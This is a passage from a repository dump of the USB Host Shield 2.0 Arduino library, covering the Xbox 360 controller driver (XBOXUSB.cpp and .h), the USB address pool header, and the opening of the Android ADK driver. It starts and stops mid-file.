USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        // Extract Max Packet Size from device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr(0, 0, bAddress);\n        if(rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nsetAddr: \"), 0x80);\n                D_PrintHex<uint8_t > (rcode, 0x80);\n#endif\n                return rcode;\n        }\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nAddr: \"), 0x80);\n        D_PrintHex<uint8_t > (bAddress, 0x80);\n#endif\n        //delay(300); // Spec says you should wait at least 200ms\n\n        p->lowspeed = false;\n\n        //get pointer to assigned address record\n        p = addrPool.GetUsbDevicePtr(bAddress);\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->lowspeed = lowspeed;\n\n        // Assign epInfo to epinfo pointer - only EP0 is known\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        /* The application will work in reduced host mode, so we can save program and data\n           memory space. After verifying the VID we will use known values for the\n           configuration values for device, interface, endpoints and HID for the XBOX360 Controllers */\n\n        /* Initialize data structures for endpoints of device */\n        epInfo[ XBOX_INPUT_PIPE ].epAddr = 0x01; // XBOX 360 report endpoint\n        epInfo[ XBOX_INPUT_PIPE ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ XBOX_INPUT_PIPE ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ XBOX_INPUT_PIPE ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ XBOX_INPUT_PIPE ].bmSndToggle = 0;\n        epInfo[ XBOX_INPUT_PIPE ].bmRcvToggle = 0;\n        epInfo[ XBOX_OUTPUT_PIPE ].epAddr = 0x02; // XBOX 360 output endpoint\n        epInfo[ XBOX_OUTPUT_PIPE ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ XBOX_OUTPUT_PIPE ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ XBOX_OUTPUT_PIPE ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ XBOX_OUTPUT_PIPE ].bmSndToggle = 0;\n        epInfo[ XBOX_OUTPUT_PIPE ].bmRcvToggle = 0;\n\n        rcode = pUsb->setEpInfoEntry(bAddress, 3, epInfo);\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        delay(200); // Give time for address change\n\n        rcode = pUsb->setConf(bAddress, epInfo[ XBOX_CONTROL_PIPE ].epAddr, 1);\n        if(rcode)\n                goto FailSetConfDescr;\n\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nXbox 360 Controller Connected\\r\\n\"), 0x80);\n#endif\n        onInit();\n        Xbox360Connected = true;\n        bPollEnable = true;\n        return 0; // Successful configuration\n\n        /* Diagnostic messages */\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr();\n        goto Fail;\n#endif\n\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry();\n        goto Fail;\n#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n#endif\n        goto Fail;\n\nFailUnknownDevice:\n#ifdef DEBUG_USB_HOST\n        NotifyFailUnknownDevice(VID, PID);\n#endif\n        rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\nFail:\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nXbox 360 Init Failed, error code: \"), 0x80);\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n}\n\n/* Performs a cleanup after failed Init() attempt */\nuint8_t XBOXUSB::Release() {\n        Xbox360Connected = false;\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n        bAddress = 0;\n        bPollEnable = false;\n        return 0;\n}\n\nuint8_t XBOXUSB::Poll() {\n        if(!bPollEnable)\n                return 0;\n        uint16_t BUFFER_SIZE = EP_MAXPKTSIZE;\n        pUsb->inTransfer(bAddress, epInfo[ XBOX_INPUT_PIPE ].epAddr, &BUFFER_SIZE, readBuf); // input on endpoint 1\n        readReport();\n#ifdef PRINTREPORT\n        printReport(); // Uncomment \"#define PRINTREPORT\" to print the report send by the Xbox 360 Controller\n#endif\n        return 0;\n}\n\nvoid XBOXUSB::readReport() {\n        if(readBuf == NULL)\n                return;\n        if(readBuf[0] != 0x00 || readBuf[1] != 0x14) { // Check if it's the correct report - the controller also sends different status reports\n                return;\n        }\n\n        ButtonState = (uint32_t)(readBuf[5] | ((uint16_t)readBuf[4] << 8) | ((uint32_t)readBuf[3] << 16) | ((uint32_t)readBuf[2] << 24));\n\n        hatValue[LeftHatX] = (int16_t)(((uint16_t)readBuf[7] << 8) | readBuf[6]);\n        hatValue[LeftHatY] = (int16_t)(((uint16_t)readBuf[9] << 8) | readBuf[8]);\n        hatValue[RightHatX] = (int16_t)(((uint16_t)readBuf[11] << 8) | readBuf[10]);\n        hatValue[RightHatY] = (int16_t)(((uint16_t)readBuf[13] << 8) | readBuf[12]);\n\n        //Notify(PSTR(\"\\r\\nButtonState\"), 0x80);\n        //PrintHex<uint32_t>(ButtonState, 0x80);\n\n        if(ButtonState != OldButtonState) {\n                ButtonClickState = (ButtonState >> 16) & ((~OldButtonState) >> 16); // Update click state variable, but don't include the two trigger buttons L2 and R2\n                if(((uint8_t)OldButtonState) == 0 && ((uint8_t)ButtonState) != 0) // The L2 and R2 buttons are special as they are analog buttons\n                        R2Clicked = true;\n                if((uint8_t)(OldButtonState >> 8) == 0 && (uint8_t)(ButtonState >> 8) != 0)\n                        L2Clicked = true;\n                OldButtonState = ButtonState;\n        }\n}\n\nvoid XBOXUSB::printReport() { //Uncomment \"#define PRINTREPORT\" to print the report send by the Xbox 360 Controller\n#ifdef PRINTREPORT\n        if(readBuf == NULL)\n                return;\n        for(uint8_t i = 0; i < XBOX_REPORT_BUFFER_SIZE; i++) {\n                D_PrintHex<uint8_t > (readBuf[i], 0x80);\n                Notify(PSTR(\" \"), 0x80);\n        }\n        Notify(PSTR(\"\\r\\n\"), 0x80);\n#endif\n}\n\nuint8_t XBOXUSB::getButtonPress(ButtonEnum b) {\n        if(b == L2) // These are analog buttons\n                return (uint8_t)(ButtonState >> 8);\n        else if(b == R2)\n                return (uint8_t)ButtonState;\n        return (bool)(ButtonState & ((uint32_t)pgm_read_word(&XBOX_BUTTONS[(uint8_t)b]) << 16));\n}\n\nbool XBOXUSB::getButtonClick(ButtonEnum b) {\n        if(b == L2) {\n                if(L2Clicked) {\n                        L2Clicked = false;\n                        return true;\n                }\n                return false;\n        } else if(b == R2) {\n                if(R2Clicked) {\n                        R2Clicked = false;\n                        return true;\n                }\n                return false;\n        }\n        uint16_t button = pgm_read_word(&XBOX_BUTTONS[(uint8_t)b]);\n        bool click = (ButtonClickState & button);\n        ButtonClickState &= ~button; // clear \"click\" event\n        return click;\n}\n\nint16_t XBOXUSB::getAnalogHat(AnalogHatEnum a) {\n        return hatValue[a];\n}\n\n/* Xbox Controller commands */\nvoid XBOXUSB::XboxCommand(uint8_t* data, uint16_t nbytes) {\n        //bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0x00), Report Type (Output 0x02), interface (0x00), datalength, datalength, data)\n        pUsb->ctrlReq(bAddress, epInfo[XBOX_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0x00, 0x02, 0x00, nbytes, nbytes, data, NULL);\n}\n\nvoid XBOXUSB::setLedRaw(uint8_t value) {\n        writeBuf[0] = 0x01;\n        writeBuf[1] = 0x03;\n        writeBuf[2] = value;\n\n        XboxCommand(writeBuf, 3);\n}\n\nvoid XBOXUSB::setLedOn(LEDEnum led) {\n        if(led == OFF)\n                setLedRaw(0);\n        else if(led != ALL) // All LEDs can't be on a the same time\n                setLedRaw(pgm_read_byte(&XBOX_LEDS[(uint8_t)led]) + 4);\n}\n\nvoid XBOXUSB::setLedBlink(LEDEnum led) {\n        setLedRaw(pgm_read_byte(&XBOX_LEDS[(uint8_t)led]));\n}\n\nvoid XBOXUSB::setLedMode(LEDModeEnum ledMode) { // This function is used to do some special LED stuff the controller supports\n        setLedRaw((uint8_t)ledMode);\n}\n\nvoid XBOXUSB::setRumbleOn(uint8_t lValue, uint8_t rValue) {\n        writeBuf[0] = 0x00;\n        writeBuf[1] = 0x08;\n        writeBuf[2] = 0x00;\n        writeBuf[3] = lValue; // big weight\n        writeBuf[4] = rValue; // small weight\n        writeBuf[5] = 0x00;\n        writeBuf[6] = 0x00;\n        writeBuf[7] = 0x00;\n\n        XboxCommand(writeBuf, 8);\n}\n\nvoid XBOXUSB::onInit() {\n        if(pFuncOnInit)\n                pFuncOnInit(); // Call the user function\n        else\n                setLedOn(static_cast<LEDEnum>(LED1));\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXUSB.h",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _xboxusb_h_\n#define _xboxusb_h_\n\n#include \"Usb.h\"\n#include \"usbhid.h\"\n#include \"xboxEnums.h\"\n\n/* Data Xbox 360 taken from descriptors */\n#define EP_MAXPKTSIZE       32 // max size for data via USB\n\n/* Names we give to the 3 Xbox360 pipes */\n#define XBOX_CONTROL_PIPE    0\n#define XBOX_INPUT_PIPE      1\n#define XBOX_OUTPUT_PIPE     2\n\n// PID and VID of the different devices\n#define XBOX_VID                                0x045E // Microsoft Corporation\n#define MADCATZ_VID                             0x1BAD // For unofficial Mad Catz controllers\n#define JOYTECH_VID                             0x162E // For unofficial Joytech controllers\n#define GAMESTOP_VID                            0x0E6F // Gamestop controller\n\n#define XBOX_WIRED_PID                          0x028E // Microsoft 360 Wired controller\n#define XBOX_WIRELESS_PID                       0x028F // Wireless controller only support charging\n#define XBOX_WIRELESS_RECEIVER_PID              0x0719 // Microsoft Wireless Gaming Receiver\n#define XBOX_WIRELESS_RECEIVER_THIRD_PARTY_PID  0x0291 // Third party Wireless Gaming Receiver\n#define MADCATZ_WIRED_PID                       0xF016 // Mad Catz wired controller\n#define JOYTECH_WIRED_PID                       0xBEEF // For Joytech wired controller\n#define GAMESTOP_WIRED_PID                      0x0401 // Gamestop wired controller\n#define AFTERGLOW_WIRED_PID                     0x0213 // Afterglow wired controller - it uses the same VID as a Gamestop controller\n\n#define XBOX_REPORT_BUFFER_SIZE 14 // Size of the input report buffer\n\n#define XBOX_MAX_ENDPOINTS   3\n\n/** This class implements support for a Xbox wired controller via USB. */\nclass XBOXUSB : public USBDeviceConfig {\npublic:\n        /**\n         * Constructor for the XBOXUSB class.\n         * @param  pUsb   Pointer to USB class instance.\n         */\n        XBOXUSB(USB *pUsb);\n\n        /** @name USBDeviceConfig implementation */\n        /**\n         * Initialize the Xbox Controller.\n         * @param  parent   Hub number.\n         * @param  port     Port number on the hub.\n         * @param  lowspeed Speed of the device.\n         * @return          0 on success.\n         */\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        /**\n         * Release the USB device.\n         * @return 0 on success.\n         */\n        uint8_t Release();\n        /**\n         * Poll the USB Input endpoins and run the state machines.\n         * @return 0 on success.\n         */\n        uint8_t Poll();\n\n        /**\n         * Get the device address.\n         * @return The device address.\n         */\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        /**\n         * Used to check if the controller has been initialized.\n         * @return True if it's ready.\n         */\n        virtual bool isReady() {\n                return bPollEnable;\n        };\n\n        /**\n         * Used by the USB core to check what this driver support.\n         * @param  vid The device's VID.\n         * @param  pid The device's PID.\n         * @return     Returns true if the device's VID and PID matches this driver.\n         */\n        virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {\n                return ((vid == XBOX_VID || vid == MADCATZ_VID || vid == JOYTECH_VID || vid == GAMESTOP_VID) && (pid == XBOX_WIRED_PID || pid == MADCATZ_WIRED_PID || pid == GAMESTOP_WIRED_PID || pid == AFTERGLOW_WIRED_PID || pid == JOYTECH_WIRED_PID));\n        };\n        /**@}*/\n\n        /** @name Xbox Controller functions */\n        /**\n         * getButtonPress(ButtonEnum b) will return true as long as the button is held down.\n         *\n         * While getButtonClick(ButtonEnum b) will only return it once.\n         *\n         * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b),\n         * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b).\n         * @param  b          ::ButtonEnum to read.\n         * @return            getButtonClick(ButtonEnum b) will return a bool, while getButtonPress(ButtonEnum b) will return a byte if reading ::L2 or ::R2.\n         */\n        uint8_t getButtonPress(ButtonEnum b);\n        bool getButtonClick(ButtonEnum b);\n        /**@}*/\n\n        /** @name Xbox Controller functions */\n        /**\n         * Return the analog value from the joysticks on the controller.\n         * @param  a          Either ::LeftHatX, ::LeftHatY, ::RightHatX or ::RightHatY.\n         * @return            Returns a signed 16-bit integer.\n         */\n        int16_t getAnalogHat(AnalogHatEnum a);\n\n        /** Turn rumble off and all the LEDs on the controller. */\n        void setAllOff() {\n                setRumbleOn(0, 0);\n                setLedRaw(0);\n        };\n\n        /** Turn rumble off the controller. */\n        void setRumbleOff() {\n                setRumbleOn(0, 0);\n        };\n        /**\n         * Turn rumble on.\n         * @param lValue     Left motor (big weight) inside the controller.\n         * @param rValue     Right motor (small weight) inside the controller.\n         */\n        void setRumbleOn(uint8_t lValue, uint8_t rValue);\n        /**\n         * Set LED value. Without using the ::LEDEnum or ::LEDModeEnum.\n         * @param value      See:\n         * setLedOff(), setLedOn(LEDEnum l),\n         * setLedBlink(LEDEnum l), and setLedMode(LEDModeEnum lm).\n         */\n        void setLedRaw(uint8_t value);\n\n        /** Turn all LEDs off the controller. */\n        void setLedOff() {\n                setLedRaw(0);\n        };\n        /**\n         * Turn on a LED by using ::LEDEnum.\n         * @param l          ::OFF, ::LED1, ::LED2, ::LED3 and ::LED4 is supported by the Xbox controller.\n         */\n        void setLedOn(LEDEnum l);\n        /**\n         * Turn on a LED by using ::LEDEnum.\n         * @param l          ::ALL, ::LED1, ::LED2, ::LED3 and ::LED4 is supported by the Xbox controller.\n         */\n        void setLedBlink(LEDEnum l);\n        /**\n         * Used to set special LED modes supported by the Xbox controller.\n         * @param lm         See ::LEDModeEnum.\n         */\n        void setLedMode(LEDModeEnum lm);\n\n        /**\n         * Used to call your own function when the controller is successfully initialized.\n         * @param funcOnInit Function to call.\n         */\n        void attachOnInit(void (*funcOnInit)(void)) {\n                pFuncOnInit = funcOnInit;\n        };\n        /**@}*/\n\n        /** True if a Xbox 360 controller is connected. */\n        bool Xbox360Connected;\n\nprotected:\n        /** Pointer to USB class instance. */\n        USB *pUsb;\n        /** Device address. */\n        uint8_t bAddress;\n        /** Endpoint info structure. */\n        EpInfo epInfo[XBOX_MAX_ENDPOINTS];\n\nprivate:\n        /**\n         * Called when the controller is successfully initialized.\n         * Use attachOnInit(void (*funcOnInit)(void)) to call your own function.\n         * This is useful for instance if you want to set the LEDs in a specific way.\n         */\n        void onInit();\n        void (*pFuncOnInit)(void); // Pointer to function called in onInit()\n\n        bool bPollEnable;\n\n        /* Variables to store the buttons */\n        uint32_t ButtonState;\n        uint32_t OldButtonState;\n        uint16_t ButtonClickState;\n        int16_t hatValue[4];\n        uint16_t controllerStatus;\n\n        bool L2Clicked; // These buttons are analog, so we use we use these bools to check if they where clicked or not\n        bool R2Clicked;\n\n        uint8_t readBuf[EP_MAXPKTSIZE]; // General purpose buffer for input data\n        uint8_t writeBuf[8]; // General purpose buffer for output data\n\n        void readReport(); // read incoming data\n        void printReport(); // print incoming date - Uncomment for debugging\n\n        /* Private commands */\n        void XboxCommand(uint8_t* data, uint16_t nbytes);\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/address.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#if !defined(_usb_h_) || defined(__ADDRESS_H__)\n#error \"Never include address.h directly; include Usb.h instead\"\n#else\n#define __ADDRESS_H__\n\n\n\n/* NAK powers. To save space in endpoint data structure, amount of retries before giving up and returning 0x4 is stored in */\n/* bmNakPower as a power of 2. The actual nak_limit is then calculated as nak_limit = ( 2^bmNakPower - 1) */\n#define USB_NAK_MAX_POWER               15              //NAK binary order maximum value\n#define USB_NAK_DEFAULT                 14              //default 32K-1 NAKs before giving up\n#define USB_NAK_NOWAIT                  1               //Single NAK stops transfer\n#define USB_NAK_NONAK                   0               //Do not count NAKs, stop retrying after USB Timeout\n\nstruct EpInfo {\n        uint8_t epAddr; // Endpoint address\n        uint8_t maxPktSize; // Maximum packet size\n\n        union {\n                uint8_t epAttribs;\n\n                struct {\n                        uint8_t bmSndToggle : 1; // Send toggle, when zero bmSNDTOG0, bmSNDTOG1 otherwise\n                        uint8_t bmRcvToggle : 1; // Send toggle, when zero bmRCVTOG0, bmRCVTOG1 otherwise\n                        uint8_t bmNakPower : 6; // Binary order for NAK_LIMIT value\n                } __attribute__((packed));\n        };\n} __attribute__((packed));\n\n//        7   6   5   4   3   2   1   0\n//  ---------------------------------\n//  |   | H | P | P | P | A | A | A |\n//  ---------------------------------\n//\n// H - if 1 the address is a hub address\n// P - parent hub address\n// A - device address / port number in case of hub\n//\n\nstruct UsbDeviceAddress {\n\n        union {\n\n                struct {\n                        uint8_t bmAddress : 3; // device address/port number\n                        uint8_t bmParent : 3; // parent hub address\n                        uint8_t bmHub : 1; // hub flag\n                        uint8_t bmReserved : 1; // reserved, must be zero\n                } __attribute__((packed));\n                uint8_t devAddress;\n        };\n} __attribute__((packed));\n\n#define bmUSB_DEV_ADDR_ADDRESS          0x07\n#define bmUSB_DEV_ADDR_PARENT           0x38\n#define bmUSB_DEV_ADDR_HUB              0x40\n\nstruct UsbDevice {\n        EpInfo *epinfo; // endpoint info pointer\n        UsbDeviceAddress address;\n        uint8_t epcount; // number of endpoints\n        bool lowspeed; // indicates if a device is the low speed one\n        //      uint8_t devclass; // device class\n} __attribute__((packed));\n\nclass AddressPool {\npublic:\n        virtual UsbDevice* GetUsbDevicePtr(uint8_t addr) = 0;\n        virtual uint8_t AllocAddress(uint8_t parent, bool is_hub = false, uint8_t port = 0) = 0;\n        virtual void FreeAddress(uint8_t addr) = 0;\n};\n\ntypedef void (*UsbDeviceHandleFunc)(UsbDevice *pdev);\n\n#define ADDR_ERROR_INVALID_INDEX                0xFF\n#define ADDR_ERROR_INVALID_ADDRESS              0xFF\n\ntemplate <const uint8_t MAX_DEVICES_ALLOWED>\nclass AddressPoolImpl : public AddressPool {\n        EpInfo dev0ep; //Endpoint data structure used during enumeration for uninitialized device\n\n        uint8_t hubCounter; // hub counter is kept\n        // in order to avoid hub address duplication\n\n        UsbDevice thePool[MAX_DEVICES_ALLOWED];\n\n        // Initializes address pool entry\n\n        void InitEntry(uint8_t index) {\n                thePool[index].address.devAddress = 0;\n                thePool[index].epcount = 1;\n                thePool[index].lowspeed = 0;\n                thePool[index].epinfo = &dev0ep;\n        };\n\n        // Returns thePool index for a given address\n\n        uint8_t FindAddressIndex(uint8_t address = 0) {\n                for(uint8_t i = 1; i < MAX_DEVICES_ALLOWED; i++) {\n                        if(thePool[i].address.devAddress == address)\n                                return i;\n                }\n                return 0;\n        };\n\n        // Returns thePool child index for a given parent\n\n        uint8_t FindChildIndex(UsbDeviceAddress addr, uint8_t start = 1) {\n                for(uint8_t i = (start < 1 || start >= MAX_DEVICES_ALLOWED) ? 1 : start; i < MAX_DEVICES_ALLOWED; i++) {\n                        if(thePool[i].address.bmParent == addr.bmAddress)\n                                return i;\n                }\n                return 0;\n        };\n\n        // Frees address entry specified by index parameter\n\n        void FreeAddressByIndex(uint8_t index) {\n                // Zero field is reserved and should not be affected\n                if(index == 0)\n                        return;\n\n                UsbDeviceAddress uda = thePool[index].address;\n                // If a hub was switched off all port addresses should be freed\n                if(uda.bmHub == 1) {\n                        for(uint8_t i = 1; (i = FindChildIndex(uda, i));)\n                                FreeAddressByIndex(i);\n\n                        // If the hub had the last allocated address, hubCounter should be decremented\n                        if(hubCounter == uda.bmAddress)\n                                hubCounter--;\n                }\n                InitEntry(index);\n        }\n\n        // Initializes the whole address pool at once\n\n        void InitAllAddresses() {\n                for(uint8_t i = 1; i < MAX_DEVICES_ALLOWED; i++)\n                        InitEntry(i);\n\n                hubCounter = 0;\n        };\n\npublic:\n\n        AddressPoolImpl() : hubCounter(0) {\n                // Zero address is reserved\n                InitEntry(0);\n\n                thePool[0].address.devAddress = 0;\n                thePool[0].epinfo = &dev0ep;\n                dev0ep.epAddr = 0;\n                dev0ep.maxPktSize = 8;\n                dev0ep.bmSndToggle = 0; // Set DATA0/1 toggles to 0\n                dev0ep.bmRcvToggle = 0;\n                dev0ep.bmNakPower = USB_NAK_MAX_POWER;\n\n                InitAllAddresses();\n        };\n\n        // Returns a pointer to a specified address entry\n\n        virtual UsbDevice* GetUsbDevicePtr(uint8_t addr) {\n                if(!addr)\n                        return thePool;\n\n                uint8_t index = FindAddressIndex(addr);\n\n                return (!index) ? NULL : thePool + index;\n        };\n\n        // Performs an operation specified by pfunc for each addressed device\n\n        void ForEachUsbDevice(UsbDeviceHandleFunc pfunc) {\n                if(!pfunc)\n                        return;\n\n                for(uint8_t i = 1; i < MAX_DEVICES_ALLOWED; i++)\n                        if(thePool[i].address.devAddress)\n                                pfunc(thePool + i);\n        };\n\n        // Allocates new address\n\n        virtual uint8_t AllocAddress(uint8_t parent, bool is_hub = false, uint8_t port = 0) {\n                /* if (parent != 0 && port == 0)\n                        USB_HOST_SERIAL.println(\"PRT:0\"); */\n                UsbDeviceAddress _parent;\n                _parent.devAddress = parent;\n                if(_parent.bmReserved || port > 7)\n                        //if(parent > 127 || port > 7)\n                        return 0;\n\n                if(is_hub && hubCounter == 7)\n                        return 0;\n\n                // finds first empty address entry starting from one\n                uint8_t index = FindAddressIndex(0);\n\n                if(!index) // if empty entry is not found\n                        return 0;\n\n                if(_parent.devAddress == 0) {\n                        if(is_hub) {\n                                thePool[index].address.devAddress = 0x41;\n                                hubCounter++;\n                        } else\n                                thePool[index].address.devAddress = 1;\n\n                        return thePool[index].address.devAddress;\n                }\n\n                UsbDeviceAddress addr;\n                addr.devAddress = 0; // Ensure all bits are zero\n                addr.bmParent = _parent.bmAddress;\n                if(is_hub) {\n                        addr.bmHub = 1;\n                        addr.bmAddress = ++hubCounter;\n                } else {\n                        addr.bmHub = 0;\n                        addr.bmAddress = port;\n                }\n                thePool[index].address = addr;\n                /*\n                                USB_HOST_SERIAL.print(\"Addr:\");\n                                USB_HOST_SERIAL.print(addr.bmHub, HEX);\n                                USB_HOST_SERIAL.print(\".\");\n                                USB_HOST_SERIAL.print(addr.bmParent, HEX);\n                                USB_HOST_SERIAL.print(\".\");\n                                USB_HOST_SERIAL.println(addr.bmAddress, HEX);\n                 */\n                return thePool[index].address.devAddress;\n        };\n\n        // Empties pool entry\n\n        virtual void FreeAddress(uint8_t addr) {\n                // if the root hub is disconnected all the addresses should be initialized\n                if(addr == 0x41) {\n                        InitAllAddresses();\n                        return;\n                }\n                uint8_t index = FindAddressIndex(addr);\n                FreeAddressByIndex(index);\n        };\n\n        // Returns number of hubs attached\n        // It can be rather helpfull to find out if there are hubs attached than getting the exact number of hubs.\n        //uint8_t GetNumHubs()\n        //{\n        //        return hubCounter;\n        //};\n        //uint8_t GetNumDevices()\n        //{\n        //        uint8_t counter = 0;\n\n        //        for (uint8_t i=1; i<MAX_DEVICES_ALLOWED; i++)\n        //                if (thePool[i].address != 0);\n        //                        counter ++;\n\n        //        return counter;\n        //};\n};\n\n#endif // __ADDRESS_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/adk.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n/* Google ADK interface */\n\n#include \"adk.h\"\n\nconst uint8_t ADK::epDataInIndex = 1;\nconst uint8_t ADK::epDataOutIndex = 2;\n\nADK::ADK(USB *p, const char* manufacturer,\n        const char* model,\n        const char* description,\n        const char* version,\n        const char* uri,\n        const char* serial) :\n\n/* ADK ID Strings */\nmanufacturer(manufacturer),\nmodel(model),\ndescription(description),\nversion(version),\nuri(uri),\nserial(serial),\npUsb(p), //pointer to USB class instance - mandatory\nbAddress(0), //device address - mandatory\nbConfNum(0), //configuration number\nbNumEP(1), //if config descriptor needs to be parsed\nready(false) {\n        // initialize endpoint data structures\n        for(uint8_t i = 0; i < ADK_MAX_ENDPOINTS; i++) {\n                epInfo[i].epAddr = 0;\n                epInfo[i].maxPktSize = (i) ? 0 : 8;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n                epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;\n        }//for(uint8_t i=0; i<ADK_MAX_ENDPOINTS; i++...\n\n        // register in USB subsystem\n        if(pUsb) {\n                pUsb->RegisterDeviceClass(this); //set devConfig[] entry\n        }\n}\n\nuint8_t ADK::ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed) {\n        return Init(parent, port, lowspeed); // Just call Init. Yes, really!\n}\n\n/* Connection initialization of an Android phone */\nuint8_t ADK::Init(uint8_t parent, uint8_t port, bool lowspeed) {\n        uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        uint8_t rcode;\n        uint8_t num_of_conf; // number of configurations\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n\n        // get memory address of USB device address pool\n        AddressPool &addrPool = pUsb->GetAddressPool();\n\n        USBTRACE(\"\\r\\nADK Init\");\n\n        // check if address has already been assigned to an instance\n        if(bAddress) {\n                USBTRACE(\"\\r\\nAddress in use\");\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n        }\n\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n\n        if(!p) {\n                USBTRACE(\"\\r\\nAddress not found\");\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        if(!p->epinfo) {\n                USBTRACE(\"epinfo is null\\r\\n\");\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf);\n\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        if(rcode) {\n                goto FailGetDevDescr;\n        }\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n\n        // Extract Max Packet Size from device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr(0, 0, bAddress);\n        if(rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n                //USBTRACE2(\"setAddr:\",rcode);\n                return rcode;\n        }//if (rcode...\n\n        //USBTRACE2(\"\\r\\nAddr:\", bAddress);\n        // Spec says you should wait at least 200ms.\n        //delay(300);\n\n        p->lowspeed = false;\n\n        //get pointer to assigned address record\n        p = addrPool.GetUsbDevicePtr(bAddress);\n        if(!p) {\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        p->lowspeed = lowspeed;\n\n        // Assign epInfo to epinfo pointer - only EP0 is known\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);\n        if(rcode) {\n                goto FailSetDevTblEntry;\n        }\n\n        //check if ADK device is already in accessory mode; if yes, configure and exit\n        if(udd->idVendor == ADK_VID &&\n                (udd->idProduct == 